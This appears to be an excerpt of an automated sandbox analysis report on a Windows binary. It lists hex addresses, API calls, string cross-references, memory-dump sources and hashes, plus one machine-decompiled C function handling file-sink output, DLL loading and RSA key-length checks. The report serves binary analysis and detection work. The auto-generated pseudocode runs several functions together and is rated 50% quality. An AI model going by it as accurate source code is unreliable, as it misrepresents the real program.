0x0008ea71
0x0008ea7c
0x00000000
0x00000000
0x00000000
0x00000000
0x0008ea7c
0x0008ea6c
0x0008ea55
0x0008e9ec
0x0008e9ec
0x0008e9ef
0x0008e9f2
0x0008e9fb
0x00000000
0x0008e9fd
0x0008e9fd
0x0008ea03
0x0008ea0a
0x0008ea12
0x0008ea28
0x0008ea28
0x0008ea2a
0x0008ea2f
0x0008ea35
0x00000000
0x0008ea14
0x0008ea14
0x0008ea17
0x0008ea22
0x00000000
0x00000000
0x00000000
0x00000000
0x0008ea22
0x0008ea12
0x0008e9fb
0x0008e995
0x0008e995
0x0008e998
0x0008e99f
0x0008e9a7
0x0008e9bd
0x0008e9bd
0x0008e9bf
0x0008e9c4
0x0008e9ca
0x00000000
0x0008e9a9
0x0008e9a9
0x0008e9ac
0x0008e9b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0008e9b7
0x0008e9a7
0x0008e948
0x0008e948
0x0008e94b
0x0008e952
0x0008e95a
0x0008e970
0x0008e970
0x0008e972
0x0008e977
0x00000000
0x0008e95c
0x0008e95c
0x0008e95f
0x0008e96a
0x00000000
0x00000000
0x00000000
0x00000000
0x0008e96a
0x0008e95a
0x0008e6b7
0x0008e6b7
0x0008e6ba
0x0008e6c1
0x0008e6c9
0x0008e6df
0x0008e6df
0x0008e6e1
0x0008e6e6
0x00000000
0x0008e6cb
0x0008e6cb
0x0008e6ce
0x0008e6d9
0x00000000
0x00000000
0x00000000
0x00000000
0x0008e6d9
0x0008e6c9
0x0008e6b5
0x0008e64c
0x0008e64c
0x0008e64f
0x0008e656
0x0008e65e
0x0008e674
0x0008e674
0x0008e676
0x0008e67b
0x00000000
0x0008e660
0x0008e660
0x0008e663
0x0008e66e
0x00000000
0x00000000
0x00000000
0x00000000
0x0008e66e
0x0008e65e
0x0008e64a
0x0008e565
0x0008e565
0x0008e56c
0x0008e56f
0x0008e579
0x0008e582
0x0008e587
0x0008e58a
0x0008e592
0x0008e59b
0x0008e5a0
0x0008e5a4
0x0008e5a8
0x0008e5ad
0x0008e5b1
0x0008e5b6
0x0008e5bb
0x0008e5bf
0x0008e5bf
0x0008e5c4
0x0008e5c8
0x0008e5ce
0x00000000
0x0008e5d0
0x0008e5d0
0x0008e5d3
0x0008e5da
0x0008e5e2
0x0008e5f8
0x0008e5f8
0x0008e5fa
0x0008e5ff
0x00000000
0x0008e5e4
0x0008e5e4
0x0008e5e7
0x0008e5f2
0x0008ed55
0x0008ed5a
0x0008ed5a
0x0008ed5f
0x0008ed5f
0x0008ed64
0x0008ed64
0x0008ed69
0x0008ed69
0x0008ed6e
0x0008ed6e
0x0008ed73
0x0008ed73
0x0008ed78
0x0008ed78
0x0008ed7d
0x0008ed7d
0x0008ed82
0x0008ed82
0x0008ed87
0x0008ed87
0x0008ed8c
0x0008ed8c
0x0008ed91
0x0008ed91
0x0008ed96
0x0008ed97
0x0008ed98
0x0008ed99
0x0008ed9a
0x0008ed9b
0x0008ed9c
0x0008ed9d
0x0008ed9e
0x0008ed9f
0x0008eda0
0x0008eda1
0x0008eda9
0x0008edaa
0x0008edad
0x0008edb5
0x0008edb7
0x0008edbe
0x0008edc6
0x0008edcd
0x0008edd8
0x0008edde
0x0008ede3
0x0008ede8
0x0008edf6
0x0008edfa
0x0008edff
0x0008ee00
0x0008ee01
0x0008ee03
0x0008ee05
0x0008ee10
0x0008ee11
0x0008ee14
0x0008ee19
0x0008ee1b
0x0008ee1e
0x0008ee22
0x0008ee28
0x0008ee2a
0x0008ee2d
0x0008ee2f
0x0008ee63
0x0008ee68
0x0008ee6d
0x0008ee72
0x0008ee79
0x0008ee7d
0x0008ee83
0x0008ee8a
0x0008ee91
0x00000000
0x0008ee31
0x0008ee33
0x0008ee39
0x0008ee3b
0x0008ee96
0x0008ee96
0x0008ee9c
0x0008ee9e
0x0008eea6
0x0008eead
0x0008eeb1
0x0008eeb4
0x0008eeb9
0x0008eebe
0x0008eec3
0x0008eec4
0x0008eec5
0x0008eec6
0x0008eec7
0x0008eec8
0x0008eec9
0x0008eeca
0x0008eecb
0x0008eecc
0x0008eecd
0x0008eece
0x0008eecf
0x0008eed0
0x0008eed3
0x0008eed5
0x0008eee0
0x0008eee1
0x0008eee2
0x0008eee3
0x0008eee8
0x0008eee8
0x0008eeea
0x0008eeee
0x0008eef4
0x0008eef6
0x0008eef9
0x0008eefc
0x0008ef04
0x0008ef0e
0x0008ef14
0x0008ef1b
0x0008ef20
0x0008ef2b
0x0008ef37
0x0008ee3d
0x0008ee40
0x0008ee4b
0x0008ee55
0x0008ee55
0x0008ee3b
0x0008edea
0x0008edee
0x0008edee
0x00000000
0x00000000
0x00000000
0x0008e5f2
0x0008e5e2
0x0008e5ce

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?), ref: 0008ECC1

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

GetLastError.KERNEL32 ref: 0008ED08

Part of subcall function 0008E4D0: FreeLibrary.KERNEL32(?,DB2C627E,7757C452), ref: 0008E53A
Part of subcall function 0008E4D0: LoadLibraryExW.KERNEL32(00000000,00000000,?), ref: 0008E63C
Part of subcall function 0008E4D0: LoadLibraryExW.KERNEL32(?,00000000,?,?,00000004,00000000,.dll,00000004,?,00000000,00000000,?,?,00000000,?,?), ref: 0008EBD8
Part of subcall function 0008E4D0: LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,DB2C627E,7757C452), ref: 0008EC98

Strings

boost::dll::shared_library::load() failed, xrefs: 0008EDF1
lib, xrefs: 0008E6ED
.dll, xrefs: 0008E61D, 0008E8B3, 0008E8D4

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Library$Load$ErrorFeatureFreeLastPresentProcessor___raise_securityfailure
String ID: .dll$boost::dll::shared_library::load() failed$lib
API String ID: 3313379167-2784856811
Opcode ID: 211380a230427786217b7b322702b3d3ac51b9a7333108bad19ddc9c49ee7bd2
Instruction ID: 3db8167374448aa919fae897e7072f359261d5295fa6cf36423e29bc0ea4ae41
Opcode Fuzzy Hash: 211380a230427786217b7b322702b3d3ac51b9a7333108bad19ddc9c49ee7bd2
Instruction Fuzzy Hash: 0C42D171D00298CFDB14DF68CC89BDDB7B5BF45304F108699E859AB292DB74AA84CF60

Uniqueness

Uniqueness Score: 100.00%

Function 000D1A10, Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 318
UNIQUE

Download Yara Rule

C-Code - Quality: 50%

			E000D1A10(void* __ecx, signed int _a4, signed int _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				char _v8;
				intOrPtr _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				char _v32;
				char _v44;
				char _v48;
				char _v84;
				char _v88;
				char _v124;
				signed char _v125;
				char _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				char _v144;
				signed int _v148;
				intOrPtr _v184;
				char _v204;
				signed int _v208;
				intOrPtr _v316;
				char _v336;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t138;
				signed int _t139;
				intOrPtr _t141;
				signed int _t151;
				intOrPtr _t156;
				signed int _t163;
				signed int _t164;
				signed int _t175;
				signed int _t179;
				signed int _t186;
				signed int _t190;
				signed int _t208;
				intOrPtr _t211;
				void* _t213;
				void* _t241;
				intOrPtr _t243;
				intOrPtr* _t245;
				signed int _t254;
				intOrPtr _t260;
				char* _t263;
				signed int _t264;
				char* _t267;
				intOrPtr _t282;
				intOrPtr _t285;
				signed int _t288;
				void* _t297;
				signed int _t298;
				signed int _t299;
				intOrPtr* _t305;
				signed int _t306;
				intOrPtr _t308;
				signed int _t310;
				signed int _t313;
				intOrPtr* _t315;
				signed int _t316;
				char* _t318;
				signed int _t323;
				signed int _t324;
				void* _t326;
				void* _t327;
				signed int _t328;
				signed int _t329;

				_push(0xffffffff);
				_push(0x136302);
				_push( *[fs:0x0]);
				_t327 = _t326 - 0x84;
				_t138 =  *0x16f170; // 0xdb2c627e
				_t139 = _t138 ^ _t323;
				_v20 = _t139;
				_push(_t139);
				 *[fs:0x0] =  &_v16;
				_t241 = __ecx;
				_t315 = _a4;
				_t4 = _t241 + 0x10; // 0x10
				_t305 = _t4;
				_v132 = 0;
				 *_t305 = 0;
				 *((intOrPtr*)(__ecx + 0xc)) = 0;
				_t141 =  *_t315;
				_push( &_v136);
				_push(0x171f38);
				_push("OutputFileNameWide");
				_t8 = _t141 + 4; // 0xff348d8b
				_v140 = 0;
				_v136 = 0;
				if( *((intOrPtr*)( *_t8))() != 0) {
					L3:
					__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t315 + 4))))("OutputBinaryMode", 0x176030,  &_v125, 0xb0);
					_t297 =  !=  ? _v125 & 0x000000ff : 1;
					_v144 = 1;
					_t306 = E000ECF08(_t315,  *((intOrPtr*)( *((intOrPtr*)( *_t315 + 4))))("OutputBinaryMode", 0x176030,  &_v125, 0xb0));
					_t328 = _t327 + 4;
					_v148 = _t306;
					_v8 = 0;
					__eflags = _t306;
					if(__eflags == 0) {
						_t306 = 0;
						__eflags = 0;
					} else {
						 *_t306 = 0x151bc8;
						 *((intOrPtr*)(_t306 + 0x68)) = 0x13ac78;
						_t21 = _t306 + 4; // 0x4
						_v8 = 1;
						_v132 = 1;
						 *((intOrPtr*)(_t306 +  *((intOrPtr*)( *_t306 + 4)))) = 0x13ae84;
						_t27 =  *((intOrPtr*)( *_t306 + 4)) - 8; // -8
						 *((intOrPtr*)( *((intOrPtr*)( *_t306 + 4)) + _t306 - 4)) = _t27;
						E0006B150( *((intOrPtr*)( *_t306 + 4)) + _t306, _t297, __eflags, _t21, 0);
						_v8 = 3;
						 *((intOrPtr*)(_t306 +  *((intOrPtr*)( *_t306 + 4)))) = 0x13efc4;
						_t35 =  *((intOrPtr*)( *_t306 + 4)) - 0x68; // -104
						 *((intOrPtr*)( *((intOrPtr*)( *_t306 + 4)) + _t306 - 4)) = _t35;
						E000690C0(_t241, _t21, 0);
					}
					_t254 =  *(_t241 + 0xc);
					_v8 = 0xffffffff;
					__eflags = _t254;
					if(_t254 != 0) {
						_t288 = _t254 +  *((intOrPtr*)( *_t254 + 4));
						__eflags = _t288;
						 *((intOrPtr*)( *_t288))(1);
					}
					_t298 = _v136;
					_t148 = 0x12;
					 *(_t241 + 0xc) = _t306;
					_v132 = 0x32;
					_t44 = _t148 - 0xe; // 0x4
					_t316 = _t44;
					__eflags = _t298;
					if(_t298 == 0) {
						L14:
						_t299 = _v140;
						__eflags = _t299;
						if(_t299 == 0) {
							L19:
							 *(_t241 + 0x10) = _t306;
							goto L20;
						} else {
							__eflags = _v144;
							_t64 = _t306 + 4; // 0x4
							_t150 =  !=  ? _v132 : _t148;
							_t151 = E00068FD0(_t64, _t299, _t299,  !=  ? _v132 : _t148, 0x40);
							__eflags = _t151;
							_push(0);
							_t260 =  *((intOrPtr*)( *_t306 + 4));
							if(_t151 != 0) {
								_t261 = _t260 + _t306;
								__eflags =  *(_t260 + _t306 + 0x38);
								_t316 =  !=  ? 0 : _t316;
								_push(_t316);
							} else {
								_t261 = _t260 + _t306;
								__eflags =  *(_t261 + 0x38);
								_push(0x00000002 + (0 |  *(_t261 + 0x38) == 0x00000000) * 0x00000004 |  *(_t261 + 0xc));
							}
							E00053470(_t241, _t261, _t299, _t306);
							_t306 =  *(_t241 + 0xc);
							_t156 =  *((intOrPtr*)( *_t306 + 4));
							__eflags =  *(_t156 + _t306 + 0xc) & 0x00000006;
							if(( *(_t156 + _t306 + 0xc) & 0x00000006) != 0) {
								goto L22;
							} else {
								goto L19;
							}
						}
					} else {
						__eflags = _v144;
						_push(0x40);
						_t205 =  !=  ? _v132 : 0x12;
						_push(0x12);
						_push(_t298);
						L38();
						__eflags =  !=  ? _v132 : 0x12;
						_push(0);
						_t285 =  *((intOrPtr*)( *_t306 + 4));
						if(( !=  ? _v132 : 0x12) != 0) {
							_t286 = _t285 + _t306;
							_t299 = 0;
							__eflags =  *(_t285 + _t306 + 0x38);
							_t208 =  !=  ? 0 : _t316;
						} else {
							_t286 = _t285 + _t306;
							__eflags =  *(_t286 + 0x38);
							_t208 = 0x00000002 + (0 |  *(_t286 + 0x38) == 0x00000000) * 0x00000004 |  *(_t286 + 0xc);
						}
						_push(_t208);
						E00053470(_t241, _t286, _t299, _t306);
						_t306 =  *(_t241 + 0xc);
						_t211 =  *((intOrPtr*)( *_t306 + 4));
						__eflags =  *(_t211 + _t306 + 0xc) & 0x00000006;
						if(( *(_t211 + _t306 + 0xc) & 0x00000006) != 0) {
							_t213 = E000B3BC0(_t241, _t306,  &_v44, _v136, 0);
							_t328 = _t328 + 0xc;
							_v8 = 4;
							E000D16D0(_t241,  &_v84, _t299, _t213);
							E001047B7( &_v84, 0x16946c);
							L22:
							E00064B00( &_v44, _v140);
							_v8 = 5;
							_t263 =  &_v124;
							E000D16D0(_t241, _t263, _t299,  &_v44);
							E001047B7( &_v124, 0x16946c);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t323);
							_t324 = _t328;
							_push(0xffffffff);
							_push(0x136338);
							_push( *[fs:0x0]);
							_t329 = _t328 - 0x70;
							_t163 =  *0x16f170; // 0xdb2c627e
							_t164 = _t163 ^ _t324;
							_v208 = _t164;
							_push(_t241);
							_push(_t316);
							_push(_t306);
							_push(_t164);
							 *[fs:0x0] =  &_v204;
							_t308 = _t263;
							_v316 = _t308;
							_t264 =  *(_t308 + 0x10);
							_t243 = _v184;
							__eflags = _t264;
							if(_t264 == 0) {
								E00064B00( &_v48, "FileSink: output stream not opened");
								_v12 = 0;
								E000D15D0( &_v48);
								E001047B7( &_v88, 0x1694c8);
								goto L37;
							} else {
								_t316 = _a4;
								__eflags = _t316;
								if(_t316 != 0) {
									do {
										_t299 = 0;
										_t313 = _t316;
										__eflags = _t316;
										if(_t316 != 0) {
											_t282 = 1;
										} else {
											_t282 = 0;
										}
										__eflags = 0 - _t316;
										asm("sbb eax, eax");
										__eflags =  ~0x00000000 - _t282;
										if( ~0x00000000 != _t282) {
											_t313 = _t313 | 0xffffffff;
											__eflags = _t313;
											_t299 = 0x7fffffff;
										}
										E000D1F00( *((intOrPtr*)(_v132 + 0x10)), _t243, _t313, _t299);
										_t243 = _t243 + _t313;
										_t316 = _t316 - _t313;
										__eflags = _t316;
									} while (_t316 != 0);
									_t308 = _v132;
									_t264 =  *(_t308 + 0x10);
								}
								__eflags = _a8;
								if(_a8 != 0) {
									E0006AEE0(_t243, _t264, _t299, _t308); // executed
									_t264 =  *(_t308 + 0x10);
								}
								__eflags =  *( *((intOrPtr*)( *_t264 + 4)) + _t264 + 0xc);
								if(__eflags != 0) {
									L37:
									_t267 =  &_v128;
									E000D1880(_t243, _t267, _t299, _t308, __eflags);
									E001047B7( &_v128, 0x1694e8);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t324);
									_push(0xffffffff);
									_push(0x136368);
									_push( *[fs:0x0]);
									_push(_t243);
									_push(_t316);
									_push(_t308);
									_t175 =  *0x16f170; // 0xdb2c627e
									_push(_t175 ^ _t329);
									 *[fs:0x0] =  &_v336;
									_t318 = _t267;
									__eflags =  *(_t318 + 0x4c);
									if( *(_t318 + 0x4c) != 0) {
										L47:
										__eflags = 0;
										 *[fs:0x0] = _v24;
										return 0;
									} else {
										_push(_a4);
										_push(_v0);
										_t179 = E000D9FD4(_v4);
										__eflags = _t179;
										if(_t179 == 0) {
											goto L47;
										} else {
											E00068EF0(_t179, _t318, _t179, 1);
											_t310 =  *( *((intOrPtr*)(_t318 + 0x34)) + 4);
											_v16 = 0;
											_v28 = _t310;
											 *((intOrPtr*)( *_t310 + 4))();
											_v16 = 1;
											_t245 = E0006F530(_t299,  &_v32);
											_t186 =  *((intOrPtr*)( *((intOrPtr*)( *_t245 + 0xc))))();
											__eflags = _t186;
											if(_t186 == 0) {
												 *((intOrPtr*)(_t318 + 0x38)) = _t245;
												E0006B030(_t318);
											} else {
												 *((intOrPtr*)(_t318 + 0x38)) = 0;
											}
											_v16 = 2;
											__eflags = _t310;
											if(_t310 != 0) {
												_t190 =  *((intOrPtr*)( *_t310 + 8))();
												__eflags = _t190;
												if(_t190 != 0) {
													 *((intOrPtr*)( *_t190))(1);
												}
											}
											 *[fs:0x0] = _v24;
											return _t318;
										}
									}
								} else {
									 *[fs:0x0] = _v20;
									__eflags = _v24 ^ _t324;
									return E000ECED8(_v24 ^ _t324);
								}
							}
						} else {
							_t148 = 0x12;
							goto L14;
						}
					}
				} else {
					_push( &_v140);
					_push(0x171f48);
					_push("OutputFileName");
					if( *((intOrPtr*)( *((intOrPtr*)( *_t315 + 4))))() != 0) {
						goto L3;
					} else {
						 *((intOrPtr*)( *_t315 + 4))("OutputStreamPointer", 0x17797c, _t305);
						L20:
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t323);
					}
				}
			}

APIs

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 0005349D
Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 000534E2
Part of subcall function 00053470: ___std_exception_copy.LIBVCRUNTIME ref: 0005350F

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000D16D0: ___std_exception_copy.LIBVCRUNTIME ref: 000D1832

__CxxThrowException@8.LIBVCRUNTIME ref: 000D1CF2

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000D1DE7

Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D19ED
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1A03
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1CC3
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1DFD

Strings

FileSink: output stream not opened, xrefs: 000D19C4, 000D1DBE
OutputStreamPointer, xrefs: 000D1AB4
OutputFileNameWide, xrefs: 000D1A68
2, xrefs: 000D1BA3
OutputFileName, xrefs: 000D1A9A
OutputBinaryMode, xrefs: 000D1ACC

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$___std_exception_copy$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: 2$FileSink: output stream not opened$OutputBinaryMode$OutputFileName$OutputFileNameWide$OutputStreamPointer
API String ID: 1039700136-2706314955
Opcode ID: d21011c2f7d1f6ea7e52ea89331710c7bcf0450c6b2fcad66ac5f9f462db362b
Instruction ID: 4f6273e8c702fe6eb4fee8c7824a3ed254ec4b0814f210e8aa66b08803c71b2c
Opcode Fuzzy Hash: d21011c2f7d1f6ea7e52ea89331710c7bcf0450c6b2fcad66ac5f9f462db362b
Instruction Fuzzy Hash: E7C18D71A00205AFDB24CF64C884FAEBBF5FF44714F14855AE915AB382DB75A905CFA0

Uniqueness

Uniqueness Score: 100.00%

Function 0007D0D0, Relevance: 15.2, APIs: 10, Instructions: 176fileUNIQUE

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,DB2C627E,?,00000000,00000000), ref: 0007D181

Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 000641DA
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 000641E9
Part of subcall function 000641A0: SwitchToThread.KERNEL32 ref: 00064244
Part of subcall function 000641A0: Sleep.KERNEL32(00000001), ref: 00064253
Part of subcall function 000641A0: GetModuleHandleA.KERNEL32 ref: 00064276
Part of subcall function 000641A0: GetProcAddress.KERNEL32(?), ref: 0006429A

GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1A5
MapViewOfFileEx.KERNELBASE(?,00000004,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0007D1F4
GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D1FE
CloseHandle.KERNEL32(000000FF), ref: 0007D229
GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D235
GetCurrentProcess.KERNEL32(?,00000000,00000000), ref: 0007D239
DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,00000000,00000002), ref: 0007D24A
GetLastError.KERNEL32(?,00000000,00000000), ref: 0007D254

Part of subcall function 00055C00: UnmapViewOfFile.KERNEL32(?,7757D950,0007D269,?,00000000,00000000), ref: 00055C0D
Part of subcall function 00055C00: CloseHandle.KERNEL32(?), ref: 00055C22

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000557B0: FormatMessageA.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 0005583B
Part of subcall function 000557B0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,0012CEE3,000000FF), ref: 00055852

__CxxThrowException@8.LIBVCRUNTIME ref: 0007D2DF

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Handle$ErrorLast$CloseCurrentFileProcessSleepSwitchThreadView$AddressDuplicateExceptionException@8FeatureFormatFreeInfoLocalMessageModulePresentProcProcessorRaiseSystemThrowUnmap___raise_securityfailure
String ID:
API String ID: 3694570474-0
Opcode ID: 6c9a6cd0ac389ad44a9e890dc353fe4909f40ec2241f8fe3abef7f7a25bbd3d4
Instruction ID: 30541ce1284e55fe76620e3bdcd7d085d853fd063a5ceea10e668a0f4af097c0
Opcode Fuzzy Hash: 6c9a6cd0ac389ad44a9e890dc353fe4909f40ec2241f8fe3abef7f7a25bbd3d4
Instruction Fuzzy Hash: AA51C871E00204ABDB24DF64CC55BEE77B8EF14321FA0811EF919A71D2DB78A945CB58

Uniqueness

Uniqueness Score: 100.00%

Function 00120ECA, Relevance: 12.2, APIs: 8, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0010EBA5,0010EBA5,?,?,?,0012111B,00000001,00000001,B5E85006), ref: 00120F24
__alloca_probe_16.LIBCMT ref: 00120F5C
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0012111B,00000001,00000001,B5E85006,?,?,?), ref: 00120FAA

Part of subcall function 0011F64A: LCMapStringW.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,00000001,?,00126C78,00126C78,?,?), ref: 0011F6BB

__alloca_probe_16.LIBCMT ref: 00121041

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,B5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 001210A4
__freea.LIBCMT ref: 001210B1
__freea.LIBCMT ref: 001210BA

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__freea.LIBCMT ref: 001210DF

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateFeatureHeapPresentProcessorString___raise_securityfailure
String ID:
API String ID: 4060488585-0
Opcode ID: 2487c6766694414290ea236186f616eb04f00ca1a9c70b3d387067cc266203c6
Instruction ID: 3440879f5e85a9f8979b352c73dcd704d84740a45bfa20308aab62787e30a9a5
Opcode Fuzzy Hash: 2487c6766694414290ea236186f616eb04f00ca1a9c70b3d387067cc266203c6
Instruction Fuzzy Hash: F051E072600266BFEB298F64EC41EBF77AAEB64750F154728FC04D6181EB34DCA0C695

Uniqueness

Uniqueness Score: 0.22%

Function 000C6C00, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 240UNIQUE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000C6F1A

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000C6E50

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

: this key is too short to encrypt any messages, xrefs: 000C6E21
for this public key, xrefs: 000C6EE8
exceeds the maximum of , xrefs: 000C6EC0
: message length of , xrefs: 000C6E98

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: exceeds the maximum of $ for this public key$: message length of $: this key is too short to encrypt any messages
API String ID: 654547538-412673420
Opcode ID: 8be137298834048ea0111ebc3aaf4a61793880f5771130cfd62ea555cece5865
Instruction ID: 84c3da8c0313f0e2cd36b86f1f914a29adf57a908ad2cb8525b83f2aa352fc51
Opcode Fuzzy Hash: 8be137298834048ea0111ebc3aaf4a61793880f5771130cfd62ea555cece5865
Instruction Fuzzy Hash: 7A916C75A00258EFDF24DB64CC45FDEBBB9AF48314F144099E549A3242DB71AE44CFA1

Uniqueness

Uniqueness Score: 100.00%

Function 00055DF0, Relevance: 10.6, APIs: 7, Instructions: 141threadUNIQUE

Download Yara Rule

APIs

BaseThreadInitThunk.KERNEL32(00000005,00000000,0015063E), ref: 00055E9F
CreateFileMappingA.KERNEL32(000000FF,0015063E,00000002,00000000,?,0015063E), ref: 00055EBB
GetLastError.KERNEL32 ref: 00055ECB

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
